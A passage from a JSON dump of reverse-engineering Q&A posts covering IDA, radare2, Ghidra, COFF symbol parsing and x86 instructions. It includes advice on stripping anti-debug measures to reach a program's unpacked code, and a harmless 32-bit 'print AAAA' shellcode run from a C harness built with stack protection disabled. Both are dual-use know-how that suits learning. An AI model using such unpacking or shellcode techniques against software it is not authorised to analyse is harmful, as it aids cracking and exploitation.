        "Answer": "<p>From what you describe, there might be somewhere in the SW an obscure algorithm calculating the seed. If there is no pattern which can be found, you must find this algo in the software. Here are some hints how you could proceed:</p>\n\n<ul>\n<li><p>Start it from within a debugger like Ida and set a random breakpoint during the run. Try to analyze the structure of the code loaded in memory.</p></li>\n<li><p>If this does not work, start it and try to attach a debugger during the run and proceed like above.</p></li>\n<li><p>If this not work either, try to investigate the unpacker/decrypter. There must be an unencrypted stub where everything starts. Do not analyze line by line, but in blocks and try to identify the point where the whole thing is unencrypted loaded in memory. If this is hampered by anti-debug measures, these should be removed. In this stage much could be done statically. You could try a decompiler like Ghidra to make faster progress than with pure static disassembler.</p></li>\n<li><p>If you have more advanced software which decrypts in chunks and after having done its work encrypts again you will have a rather hard time to procedd. It is possible though.</p></li>\n<li><p>For your strategy of \"guessing\" the seeds, no general rule can be given here. If you are able to define a roadmap how to proceed this might work. If there is some kind of weird app specific algo I would much prefer the other - tedious but rather straightforward - possibilities.</p></li>\n</ul>\n"
    },
    {
        "Id": "23208",
        "CreationDate": "2020-02-07T07:25:07.467",
        "Body": "<p>Does anybody know if IDA's FreeWare version 7.0 has the Command Line Interface option?</p>\n\n<p>I currently have IDA FreeWare 7.0 and I only see one .exe file which is ida64.exe. But according to HexRay's command line switches for IDA Pro, there is supposed to be an .exe for command line interface. I'm not sure if it's just because I am using the free version. </p>\n",
        "Title": "Does IDA Pro's Freeware version have a command line interface?",
        "Tags": "|ida|",
        "Answer": "<p>The answer depends on what you mean by \"Command Line Interface\".</p>\n\n<p>You can pass a filename to the ida64 executable on command line and it will be opened. Some of the switches (like <code>-A</code>, <code>-T</code>, <code>-L</code>) also work, but for example <code>-B</code> and <code>-S</code> are disabled.</p>\n\n<p>If you want the text-mode <code>idat</code> executable, you need the full version (Pro or Starter).</p>\n"
    },
    {
        "Id": "23211",
        "CreationDate": "2020-02-07T12:37:59.843",
        "Body": "<p><strong>How can I find only real functions not data garbage like section..debug_S_105 ? *</strong></p>\n\n<p>I need to collect function data (assembler code) of Open Source C++ Files which I compile with Visual Studio 19 (sln file was provided). </p>\n\n<p>For example I generated <a href=\"https://github.com/weidai11/cryptopp\" rel=\"nofollow noreferrer\">cryptopp library</a> --> opened provided <a href=\"https://github.com/weidai11/cryptopp/blob/master/cryptest.sln\" rel=\"nofollow noreferrer\">cryptest.sln</a> and built it (Win32, Release, /O2) which produces some files:<br>\n- Object files: 3way.obj, adler32.obj, algebra.obj,<br>\n- Lib file: cryptlib.lib<br>\n- PDB file: cryptlib.pdb  </p>\n\n<p>I need to know the function name and get the assembler code:</p>\n\n<pre><code>xxxx \u2717 r2 authenc.obj\n[0x0000368d]&gt; aaaa\n[Cannot analyze at 0x00010bdeg with sym. and entry0 (aa)\nCannot analyze at 0x00010be2\nCannot analyze at 0x00010c08\nCannot analyze at 0x00010c08\nCannot analyze at 0x00010c1a\nCannot analyze at 0x00010c1a\nCannot analyze at 0x00010d28\nCannot analyze at 0x00010d28\nCannot analyze at 0x0001114e\nCannot analyze at 0x0001114e\n[...]\nCannot analyze at 0x000111fd\nCannot analyze at 0x000111fd\nCannot analyze at 0x00011211\nCannot analyze at 0x00011211\nCannot analyze at 0x0001126f\nCannot analyze at 0x0001126f\nCannot analyze at 0x00011283\nCannot analyze at 0x00011283\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Check for objc references\n[x] Check for vtables\n[x] Type matching analysis for all functions (aaft)\n[x] Propagate noreturn information\n[x] Use -AA or aaaa to perform additional experimental analysis.\n[x] Finding function preludes\n[x] Enable constraint types analysis for variables\n[0x0000368d]&gt; afl\n0x0000368d    5 63           sym.____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0___QAV10_0_Z\n0x00000000   45 877  -&gt; 848  sym._comp.id\n0x00001b44  286 1517 -&gt; 1781 sym..drectve\n0x00003619   62 851  -&gt; 946  sym..debug_T\n0x00003980   25 601  -&gt; 640  section..debug_S_6\n0x00003c15   81 872  -&gt; 951  section..debug_S_8\n0x000040e7    3 25           sym.__unwindfunclet_____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D\n0x00004143    5 34           sym.____Allocate__07U_Default_allocate_traits_std___0A__std__YAPAXI_Z\n0x00004179   20 447  -&gt; 510  section..debug_S_11\n0x000043a7   16 291  -&gt; 307  sym.____Allocate_manually_vector_aligned_U_Default_allocate_traits_std___std__YAPAXI_Z\n0x000046a8    3 44           sym.____Deallocate__07_0A__std__YAXPAXI_Z\n0x000046e8   19 638  -&gt; 633  section..debug_S_15\n0x000049a2   91 1191 -&gt; 1310 section..debug_S_17\n0x000051f4    6 134          sym.____Reallocate_grow_by_V_lambda_67d87d4aa1269033985980465fd1d824_____V___basic_string_DU__char_traits_D_std__V__allocator_D_2\n0x000052b6   77 2130 -&gt; 2150 section..debug_S_19\n0x00005b58   98 1887 -&gt; 1975 section..debug_S_21\n0x0000644a    1 46           sym.__0__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAE___QAV01__Z\n0x00006478   38 1037 -&gt; 1080 section..debug_S_23\n0x00006899   14 258  -&gt; 254  fcn.00006899\n0x00006a73    1 172          sym.__0BadState_AuthenticatedSymmetricCipher_CryptoPP__QAE_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PBD1_Z\n0x00006bbf  275 1521 -&gt; 1789 section..debug_S_27\n0x000073a9    8 138  -&gt; 140  fcn.000073a9\n0x0000743e    1 105          sym.__0BadState_AuthenticatedSymmetricCipher_CryptoPP__QAE_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PBD_Z\n0x0000750b  152 971  -&gt; 1135 section..debug_S_30\n0x00007a6d    4 184          fcn.00007a6d\n0x00007b61   37 453  -&gt; 508  section..debug_S_33\n0x00007ef3    3 142          sym.__unwindfunclet___0Exception_CryptoPP__QAE_ABV01__Z_0\n0x00007fb3   92 797  -&gt; 928  section..debug_S_36\n0x00008409    3 106          sym.__unwindfunclet___0Exception_CryptoPP__QAE_W4ErrorType_01_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z\n0x00008487   23 491  -&gt; 519  section..debug_S_39\n0x00008686   19 559  -&gt; 578  section..debug_S_41\n0x000088c9  136 2578 -&gt; 2731 section..debug_S_43\n0x0000913c   12 415  -&gt; 432  section..debug_S_53\n0x000092f9   64 1036 -&gt; 1135 section..debug_S_55\n0x00009817    3 31           sym.___GBadState_AuthenticatedSymmetricCipher_CryptoPP__UAEPAXI_Z\n0x0000984a   42 417  -&gt; 504  section..debug_S_57\n0x000099ff   26 377  -&gt; 423  section..debug_S_59\n0x00009b8c   25 404  -&gt; 418  section..debug_S_61\n0x00009d3e   20 355  -&gt; 378  section..debug_S_63\n0x00009ec8   16 188          sym._AuthenticateData_AuthenticatedSymmetricCipherBase_CryptoPP__IAEXPBEI_Z\n0x00009fa2   64 2101 -&gt; 2160 section..debug_S_65\n0x0000a881  204 1185 -&gt; 1293 section..debug_S_67\n0x0000b213    8 287          sym.__unwindfunclet__ProcessData_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPAEPBEI_Z_3\n0x00000068   51 773  -&gt; 769  fcn.00000068\n0x00000008   45 869  -&gt; 840  fcn.00000008\n0x0000b38c   69 597  -&gt; 711  section..debug_S_70\n0x0000b7e2    8 164  -&gt; 166  sym.__unwindfunclet__Resynchronize_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEH_Z_0\n0x0000b890   76 1581 -&gt; 1597 section..debug_S_73\n0x0000bfd5  596 2248 -&gt; 2834 section..debug_S_75\n0x0000cdaf   20 396          sym.__unwindfunclet__TruncatedFinal_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPAEI_Z_7\n0x0000cf4c   13 177          sym._Update_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEI_Z\n0x0000d061   82 625  -&gt; 706  section..debug_S_78\n0x0000d53f   42 867  -&gt; 896  sym..text_x\n0x0000d8b6   52 818  -&gt; 948  section..debug_S_83\n0x0000dbe8   54 928  -&gt; 1018 section..debug_S_85\n0x0000df9c   55 1312 -&gt; 1363 section..debug_S_87\n0x0000e4c6   26 685  -&gt; 727  section..debug_S_89\n0x0000e787   11 165  -&gt; 168  fcn.0000e787\n0x0000e8e9    1 11           sym.__Xran____String_val_U___Simple_types_D_std___std__SAXXZ\n0x0000e908   19 352  -&gt; 382  section..debug_S_93\n0x0000ea72   28 525  -&gt; 551  section..debug_S_95\n0x0000ed10    3 31           sym._append___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAEAAV12_QBD_Z\n0x0000ed39   35 651  -&gt; 697  section..debug_S_97\n0x0000efd8   66 968  -&gt; 1055 section..debug_S_99\n0x0000f49e    3 30           sym._insert___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAEAAV12_IABV12__Z\n0x0000f4c6   34 954  -&gt; 976  section..debug_S_101\n0x0000f8b2   15 381  -&gt; 395  section..debug_S_103\n0x00010050    8 66           sym._reserve___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAEXI_Z\n0x000100a6   68 958  -&gt; 1063 section..debug_S_105\n0x00010464   17 556  -&gt; 578  section..debug_S_107\n0x0001069a    9 359  -&gt; 360  section..debug_S_109\n0x00004100    6 101          sym.__ehhandler_____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0\n0x00010808    1 57           sym.__ehfuncinfo___0Exception_CryptoPP__QAE_W4ErrorType_01_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z\n0x00010848    1 57           sym.__ehfuncinfo___0Exception_CryptoPP__QAE_ABV01__Z\n0x00010888    1 57           sym.__ehfuncinfo_____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2\n0x000108d0    1 67           fcn.000108d0\n0x00010932    1 87           sym.__ehfuncinfo___0BadState_AuthenticatedSymmetricCipher_CryptoPP__QAE_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2\n0x00010990    1 57           sym.__ehfuncinfo__Resynchronize_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEH_Z\n0x000109d0    1 57           sym.__ehfuncinfo__Update_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEI_Z\n0x00010a28    1 122          sym.__ehfuncinfo__ProcessData_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPAEPBEI_Z\n0x00010c40    1 12           sym.__CT___R0_AVexception_std___8__0exception_std__QAE_ABV01__Z12\n0x00010c70    5 149          sym.___C__02LMMGGCAJ__3_5\n0x00010d53    1 12           sym.__CT___R0_AVException_CryptoPP___8__0Exception_CryptoPP__QAE_ABV01__Z40\n0x00010d83   22 421  -&gt; 456  section..xdata_x_131\n0x00010f4b    1 122          sym.___R4InvalidArgument_CryptoPP__6B\n0x00010fe8   24 285  -&gt; 312  sym.___R4BadState_AuthenticatedSymmetricCipher_CryptoPP__6B\n0x0001111e    1 12           sym..xdata_x\n0x00011292   72 551  -&gt; 631  section..debug_S_169\n0x00000e92    3 78           fcn.00000e92\n</code></pre>\n\n<p>I m using Python for extraction but some of these functions are not real function for example:\nsection..debug_S_105</p>\n\n<p>What do I have to do in detail to avoid the data garbage and just find real functions (like in source code)? Or did I compile the source code wrong? </p>\n",
        "Title": "Extracting functions of .obj file (compiled by myself with Visual Studio 19) --> extracts wrong data",
        "Tags": "|binary-analysis|c++|radare2|functions|",
        "Answer": "<p>from your paste above I presume<br>\nYou Want to get this data from the object files <strong>( *.obj )</strong> and not from the compiled and linked executable </p>\n\n<p>if yes then COFF (component object file format ) is pretty well documented \nall you need to parse  is COFF SYMBOL TABLE </p>\n\n<p>you can use dumpbin /SYMBOLS to look for all functions </p>\n\n<pre><code>C:\\Users\\xx\\source\\repos\\dumpfuncs&gt;dumpbin /symbols dumpfuncs.obj | grep -i (\n\nMicrosoft (R) COFF/PE Dumper Version 14.16.27035.0\n\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n010 00000000 SECT5  notype ()    External     | ?CmdLn@@YAPADXZ (char * __cdecl CmdLn(void))\n011 00000010 SECT5  notype ()    External     | ?FileName@@YAPADXZ (char * __cdecl FileName(void))\n012 00000020 SECT5  notype ()    External     | _main\n</code></pre>\n\n<p>Raw Parsing of an obj file with  a hex dumper (xxd.exe)</p>\n\n<pre><code>:\\&gt;xxd -v \nxxd v1.11, 8 jun 2013 by Juergen Weigert et al.  &lt;&lt;&lt;&lt;&lt; has little endian switch -e   \n</code></pre>\n\n<p>COFF_SYMBOL_TABLE is at offset 8 in COFF HEADER followed by number of symbols   </p>\n\n<pre><code>:\\&gt;xxd.exe -e -l 8 -g 4 -s 8 dumpfuncs.obj\n00000008: 000048c0 00000015                    .H......\n</code></pre>\n\n<p>keep dumping 0x12 bytes for each symbol and their aux records if any  </p>\n\n<p>SYMBOL 1</p>\n\n<pre><code>:\\&gt;xxd -g 1 -c 18 -s 0x48c0 -l 18 dumpfuncs.obj\n000048c0: 40 63 6f 6d 70 2e 69 64 9b 69 05 01 ff ff 00 00 03 00  @comp.id.i........\n</code></pre>\n\n<p>SYMBOL 2</p>\n\n<pre><code>:\\&gt;xxd -g 1 -c 18 -s 0x48d2 -l 18 dumpfuncs.obj\n000048d2: 40 66 65 61 74 2e 30 30 91 01 00 80 ff ff 00 00 03 00  @feat.00..........\n</code></pre>\n\n<p>SYMBOL 3,4</p>\n\n<pre><code>:\\&gt;xxd -g 1 -c 18 -s 0x48e4 -l 18 dumpfuncs.obj\n000048e4: 2e 64 72 65 63 74 76 65 00 00 00 00 01 00 00 00 03 01  .drectve..........\n\n:\\&gt;echo one auxillary record follows (last byte is 01) do not count as symbol\n:\\&gt;xxd -g 1 -c 18 -s 0x48f6 -l 18 dumpfuncs.obj\n000048f6: 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ..................\n</code></pre>\n\n<p>SYMBOL 5,6</p>\n\n<pre><code>:\\&gt;xxd -g 1 -c 18 -s 0x4908 -l 18 dumpfuncs.obj\n00004908: 2e 64 65 62 75 67 24 53 00 00 00 00 02 00 00 00 03 01  .debug$S..........\n:\\&gt;xxd -g 1 -c 18 -s 0x491a -l 18 dumpfuncs.obj\n0000491a: 50 45 00 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00  PE................\n</code></pre>\n\n<p>SYMBOL 7,8</p>\n\n<pre><code>:\\&gt;xxd -g 1 -c 18 -s 0x492c -l 18 dumpfuncs.obj\n0000492c: 2e 64 65 62 75 67 24 54 00 00 00 00 03 00 00 00 03 01  .debug$T..........\n:\\&gt;xxd -g 1 -c 18 -s 0x493e -l 18 dumpfuncs.obj\n0000493e: 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  L.................\n</code></pre>\n\n<p>SYMBOL 9,0xa</p>\n\n<pre><code>:\\&gt;xxd -g 1 -c 18 -s 0x4950 -l 18 dumpfuncs.obj\n00004950: 2e 72 64 61 74 61 00 00 00 00 00 00 04 00 00 00 03 01  .rdata............\n:\\&gt;xxd -g 1 -c 18 -s 0x4962 -l 18 dumpfuncs.obj\n00004962: 0e 00 00 00 00 00 00 00 ad 41 9d c2 00 00 00 00 00 00  .........A........\n</code></pre>\n\n<p>SYMBOL 0xb</p>\n\n<pre><code>:\\&gt;xxd -g 1 -c 18 -s 0x4974 -l 18 dumpfuncs.obj\n00004974: 24 53 47 38 39 31 38 32 00 00 00 00 04 00 00 00 03 00  $SG89182..........\n</code></pre>\n\n<p>SYMBOL 0xc,----0x13</p>\n\n<pre><code>:\\&gt;xxd -g 1 -c 18 -s 0x4986 -l 18 dumpfuncs.obj\n00004986: 2e 74 65 78 74 24 6d 6e 00 00 00 00 05 00 00 00 03 01  .text$mn..........\n:\\&gt;xxd -g 1 -c 18 -s 0x4998 -l 18 dumpfuncs.obj\n00004998: 43 00 00 00 06 00 00 00 7d 5c d3 64 00 00 00 00 00 00  C.......}\\.d......\n\nthe six relocations in section #5 whose size of rawdata is 43 \nthe start and end address of section Raw Data is in COFF_HEADER\n\n:\\&gt;xxd -g 1 -c 18 -s 0x49aa -l 18 dumpfuncs.obj\n000049aa: 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 02 00  ..................\n:\\&gt;xxd -g 1 -c 18 -s 0x49bc -l 18 dumpfuncs.obj\n000049bc: 00 00 00 00 1d 00 00 00 00 00 00 00 00 00 00 00 02 00  ..................\n:\\&gt;xxd -g 1 -c 18 -s 0x49ce -l 18 dumpfuncs.obj\n000049ce: 00 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 02 00  ....2.............\n:\\&gt;xxd -g 1 -c 18 -s 0x49e0 -l 18 dumpfuncs.obj\n000049e0: 00 00 00 00 48 00 00 00 00 00 00 00 05 00 20 00 02 00  ....H......... ...\n\n:\\&gt;echo the 20 denotes a function in section #5 name of function is at 0x48 from string table\n\n:\\&gt;xxd -g 1 -c 18 -s 0x49f2 -l 18 dumpfuncs.obj\n000049f2: 00 00 00 00 58 00 00 00 10 00 00 00 05 00 20 00 02 00  ....X......... ...\n:\\&gt;echo funcname @58 in section 5 10 bytes from start\n\n:\\&gt;xxd -g 1 -c 18 -s 0x4a04 -l 18 dumpfuncs.obj\n00004a04: 5f 6d 61 69 6e 00 00 00 20 00 00 00 05 00 20 00 02 00  _main... ..... ...\n:\\&gt;echo main() starts at offset 20 insection #5\n</code></pre>\n\n<p>SYMBOL 0x14,0x15</p>\n\n<pre><code>:\\&gt;xxd -g 1 -c 18 -s 0x4a16 -l 18 dumpfuncs.obj\n00004a16: 2e 63 68 6b 73 36 34 00 00 00 00 00 06 00 00 00 03 01  .chks64...........\n:\\&gt;xxd -g 1 -c 18 -s 0x4a28 -l 18 dumpfuncs.obj\n00004a28: 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0.................\n</code></pre>\n\n<p>:>echo 0x15 symbols and thier aux records are over now string table starts</p>\n\n<pre><code>:\\&gt;xxd -e -g 4 -s 0x4a3a -l 4 dumpfuncs.obj\n00004a3a: 0000006b                             k...\n\n:\\&gt;echo size of string table 0x6b\n\n:\\&gt;xxd -e -g 1 -s 0x4a3a -l 0x6b dumpfuncs.obj\n00004a3a: 6b 00 00 00 5f 5f 69 6d 70 5f 5f 47 65 74 43 6f  k...__imp__GetCo\n00004a4a: 6d 6d 61 6e 64 4c 69 6e 65 41 40 30 00 5f 5f 69  mmandLineA@0.__i\n00004a5a: 6d 70 5f 5f 45 78 69 74 50 72 6f 63 65 73 73 40  mp__ExitProcess@\n00004a6a: 34 00 5f 5f 69 6d 70 5f 5f 4d 65 73 73 61 67 65  4.__imp__Message\n00004a7a: 42 6f 78 41 40 31 36 00 3f 43 6d 64 4c 6e 40 40  BoxA@16.?CmdLn@@\n00004a8a: 59 41 50 41 44 58 5a 00 3f 46 69 6c 65 4e 61 6d  YAPADXZ.?FileNam\n00004a9a: 65 40 40 59 41 50 41 44 58 5a 00                 e@@YAPADXZ.\n</code></pre>\n\n<p>The Demangled Name of Function At offset 0x48 from string table start</p>\n\n<pre><code>:\\&gt;xxd -g 1 -s 0x4a82 -l 0x10 dumpfuncs.obj\n00004a82: 3f 43 6d 64 4c 6e 40 40 59 41 50 41 44 58 5a 00  ?CmdLn@@YAPADXZ.\n</code></pre>\n\n<p>unmangled name </p>\n\n<pre><code>:\\&gt;vc++filt\n?CmdLn@@YAPADXZ\nchar * __cdecl CmdLn(void)\n^C\n</code></pre>\n\n<p>Section #5 Header and Raw Data</p>\n\n<pre><code>:\\&gt;xxd -g 4 -c 4 -e  -s 0xb4 -l 0x28 dumpfuncs.obj\n000000b4: 7865742e  .tex\n000000b8: 6e6d2474  t$mn\n000000bc: 00000000  ....\n000000c0: 00000000  ....\n000000c4: 00000043  C...\n000000c8: 00004811  .H..\n000000cc: 00004854  TH..\n000000d0: 00000000  ....\n000000d4: 00000006  ....\n000000d8: 60500020   .P`\n\n:\\&gt;xxd -g 1 -s 0x4811 -l 0x43 dumpfuncs.obj\n00004811: 55 8b ec ff 15 00 00 00 00 5d c3 cc cc cc cc cc  U........]......\n00004821: 55 8b ec b8 00 00 00 00 5d c3 cc cc cc cc cc cc  U.......].......\n00004831: 55 8b ec 6a 00 e8 00 00 00 00 50 e8 00 00 00 00  U..j......P.....\n00004841: 50 6a 00 ff 15 00 00 00 00 6a 00 ff 15 00 00 00  Pj.......j......\n00004851: 00 5d c3                                         .].\n\n:\\&gt;echo notice the push ebp prolog\nnotice the push ebp prolog\n</code></pre>\n\n<p>Raw Data Dis Assembled</p>\n\n<pre><code>&gt;dumpbin /disasm dumpfuncs.obj\n\n\n?CmdLn@@YAPADXZ (char * __cdecl CmdLn(void)):\n  00000000: 55                 push        ebp\n  00000001: 8B EC              mov         ebp,esp\n  00000003: FF 15 00 00 00 00  call        dword ptr [__imp__GetCommandLineA@0]\n  00000009: 5D                 pop         ebp\n  0000000A: C3                 ret\n  0000000B: CC                 int         3\n  0000000C: CC                 int         3\n  0000000D: CC                 int         3\n  0000000E: CC                 int         3\n  0000000F: CC                 int         3\n?FileName@@YAPADXZ (char * __cdecl FileName(void)):\n  00000010: 55                 push        ebp\n  00000011: 8B EC              mov         ebp,esp\n  00000013: B8 00 00 00 00     mov         eax,offset $SG89182\n  00000018: 5D                 pop         ebp\n  00000019: C3                 ret\n  0000001A: CC                 int         3\n  0000001B: CC                 int         3\n  0000001C: CC                 int         3\n  0000001D: CC                 int         3\n  0000001E: CC                 int         3\n  0000001F: CC                 int         3\n_main:\n  00000020: 55                 push        ebp\n  00000021: 8B EC              mov         ebp,esp\n  00000023: 6A 00              push        0\n  00000025: E8 00 00 00 00     call        ?FileName@@YAPADXZ\n  0000002A: 50                 push        eax\n  0000002B: E8 00 00 00 00     call        ?CmdLn@@YAPADXZ\n  00000030: 50                 push        eax\n  00000031: 6A 00              push        0\n  00000033: FF 15 00 00 00 00  call        dword ptr [__imp__MessageBoxA@16]\n  00000039: 6A 00              push        0\n  0000003B: FF 15 00 00 00 00  call        dword ptr [__imp__ExitProcess@4]\n  00000041: 5D                 pop         ebp\n  00000042: C3                 ret\n</code></pre>\n\n<p>the source used for compiling and linking with vs 2017</p>\n\n<pre><code>#include &lt;windows.h&gt;\n#pragma comment(lib,\"user32.lib\")\n#pragma comment(lib,\"kernel32.lib\")\n\n__declspec ( noinline ) LPSTR CmdLn(void) {\n    return GetCommandLineA();\n}\n__declspec ( noinline ) LPSTR FileName (void) {\n    return __FILE__;\n}\nint main(void) \n{\n    MessageBoxA(NULL,CmdLn(),FileName(), MB_OK);\n    ExitProcess(NULL);\n}\n</code></pre>\n\n<p>compiled and linked with</p>\n\n<pre><code>cl /Zi /W4 /analyze /EHsc /nologo /Od %1.cpp /link /release /subsystem:windows /entry:main\n</code></pre>\n"
    },
    {
        "Id": "23224",
        "CreationDate": "2020-02-10T03:53:12.560",
        "Body": "<p>Using <code>radare2</code>, I am reverse engineering a custom language interpreter.  It stores compiled functions as a list of pointers to language primitives.  I would like to <code>seek</code> to these locations, but typing in the hex addresses is very frustrating.  I can't seem to find any syntax for saying \"seek to the address stored at the current location\".</p>\n\n<p>E.g., say I am looking at the following in visual mode:</p>\n\n<pre><code>; UNKNOWN XREFS from entry0 @ 0x400382, 0x400384\n; UNKNOWN XREF from entry0 @ +0x82\n;-- section..text:\n0x004000b0      .qword 0x00000000004002f3 ; aav.0x004002f3    ; [01] -r-x section size 736 named .text\n0x004000b8      .qword 0x0000000000000064\n0x004000c0      .qword 0x0000000000400301 ; aav.0x00400301\n0x004000c8      .qword 0x000000000040032e ; aav.0x0040032e\n0x004000d0      .qword 0x000000000040030c ; aav.0x0040030c\n. . .\n</code></pre>\n\n<p>The \"current location\" is at <code>0x004000b0</code>, and it stores the value <code>0x4002f3</code>, which is where I'd like to seek.  For now, I have to type <code>g</code> followed by reading and typing out, or selecting and pasting, the address <code>0x4002f3</code>.</p>\n\n<p>Is there some efficient way to say \"seek to the value stored at <code>$$</code>\"?</p>\n",
        "Title": "Seek to value stored in memory in radare2",
        "Tags": "|radare2|",
        "Answer": "<p>one can read a pointer value <strong>using * symbol</strong><br>\n<strong>$$ is alias</strong> for current virtual seek<br>\nso *$$ will return the value stored at current seek</p>\n\n<p>you can execute the command and pass the result to seek \nlike </p>\n\n<pre><code>s `*$$`\n</code></pre>\n\n<p>a simple example showing how to seek to an address stored in 3rd DWORD from current seek</p>\n\n<pre><code>[0x01012d6c]&gt; sentry0\n[0x01012d6c]&gt; x/4xw\n0x01012d6c  0xfffd4be8 0x68586aff 0x01012ee8 0xff99ebe8  .K...jXh........\n[0x01012d6c]&gt; s `*$$+8`\n[0x01012ee8]&gt;\n</code></pre>\n"
    },
    {
        "Id": "23225",
        "CreationDate": "2020-02-10T06:46:19.983",
        "Body": "<p>I wrote a small program in assembly which is supposed to print \"AAAA\". It works fine when I run it directly, but when I run it as a shellcode in a c program, it doesn't work. Please help.</p>\n\n<p>Here is the assembly code:\n<a href=\"https://i.stack.imgur.com/3oQA2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3oQA2.png\" alt=\"enter image description here\"></a></p>\n\n<p>When I compile and execute the following code:</p>\n\n<pre><code>char shellcode[] = {0x31,0xc0,0xb0,0x04,0x31,0xdb,0xb3,0x01,0x68,0x41,0x41,0x41,0x41,0x89,0xe1,0x31,0xd2,0xb2,0x04,0xcd,0x80,0x31,0xc0,0xb0,0x01,0x31,0xdb,0xb3,0x01,0xcd,0x80};\nint main(){\n        (*(void(*)())shellcode)();\n        return 0;\n}\n</code></pre>\n\n<p>Compiled as:</p>\n\n<pre><code>$gcc -g -Wall -fno-stack-protector -z execstack code.c -o code\n</code></pre>\n\n<p>Execution:</p>\n\n<pre><code>$./code\n$\n</code></pre>\n",
        "Title": "Shellcode not working correctly",
        "Tags": "|disassembly|assembly|shellcode|",
        "Answer": "<p>You're showing x86 (32bit) shellcode, but are not compiling your program for that architecture, so <code>gcc</code> most likely creates an amd64 (64bit) executable instead. This can be fixed by adding the <code>-m32</code> switch:</p>\n\n<pre><code>gcc -g -Wall -fno-stack-protector -z execstack -m32 code.c -o code\n</code></pre>\n\n<p>You can verify this by running <code>file</code> on the resulting file:</p>\n\n<pre><code>code: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), [\u2026]\n</code></pre>\n"
    },
    {
        "Id": "23232",
        "CreationDate": "2020-02-11T15:37:14.693",
        "Body": "<p>I made a simple program in C++ using Visual Studio 2019 to learn. When I open the file with Ghidra, it doesn't seem to detect my functions and I don't know what I'm doing wrong.</p>\n\n<p>My program is simple:</p>\n\n<pre><code>#include &lt;iostream&gt;\n\nvoid someFunction()\n{\n    printf(\"im scared world, i dont understand.\\n\");\n}\n\nint main()\n{\n    std::cout &lt;&lt; \"hello world\" &lt;&lt; '\\n';\n\n    someFunction();\n\n    system(\"pause\");\n\n    return 0;\n}\n</code></pre>\n\n<p>Yet the main function looks like this in Ghidra:</p>\n\n<pre><code>int __cdecl _main(int _Argc,char **_Argv,char **_Env)\n\n{\n  char cVar1;\n  char *unaff_EBP;\n  basic_ostream&lt;char,struct_std::char_traits&lt;char&gt;_&gt; *in_stack_fffffff8;\n\n  cVar1 = (char)unaff_EBP;\n  operator&lt;&lt;&lt;struct_std::char_traits&lt;char&gt;_&gt;(in_stack_fffffff8,unaff_EBP);\n  operator&lt;&lt;&lt;struct_std::char_traits&lt;char&gt;_&gt;(in_stack_fffffff8,cVar1);\n                    /* Symbol Ref: No symbol: someFunction */\n  _printf(\"im scared world, i dont understand.\\n\");\n  system(\"pause\");\n  return 0;\n}\n</code></pre>\n\n<p>As you can see, where my function should be, it instead shows</p>\n\n<pre><code>/* Symbol Ref: No symbol: someFunction */\n</code></pre>\n\n<p>Why? What can I do to fix this?</p>\n",
        "Title": "Ghidra can't see basic functions in my files?",
        "Tags": "|c++|ghidra|",
        "Answer": "<p>Visual Studio is inlining the function.  You will need to tell VS to not do that:</p>\n\n<pre><code>__declspec(noinline) void someFunction()\n{\n    printf(\"im scared world, i dont understand.\\n\");\n}\n</code></pre>\n"
    },
    {
        "Id": "23245",
        "CreationDate": "2020-02-13T23:35:47.023",
        "Body": "<p>I've tried reading the documentation but the functionality of this instruction is still cloudy to me. For an example, I would like to know what is stored in RDX after these instructions:</p>\n\n<pre><code>mov    edx, 0x26d1\nmov    eax, 0x40d\nadd    eax, edx\nmovsxd rdx, eax\n</code></pre>\n\n<p>Personally, I think it is 0x0000000000002ade because I don't think the signed bit at bit position 31 was present in eax at the time. (If that makes any sense?) Any help would be appreciated and maybe an explanation that doesn't leave me confused would be awesome as well :) Thanks and have a good day!</p>\n",
        "Title": "Help understanding MOVSXD",
        "Tags": "|assembly|x86-64|",
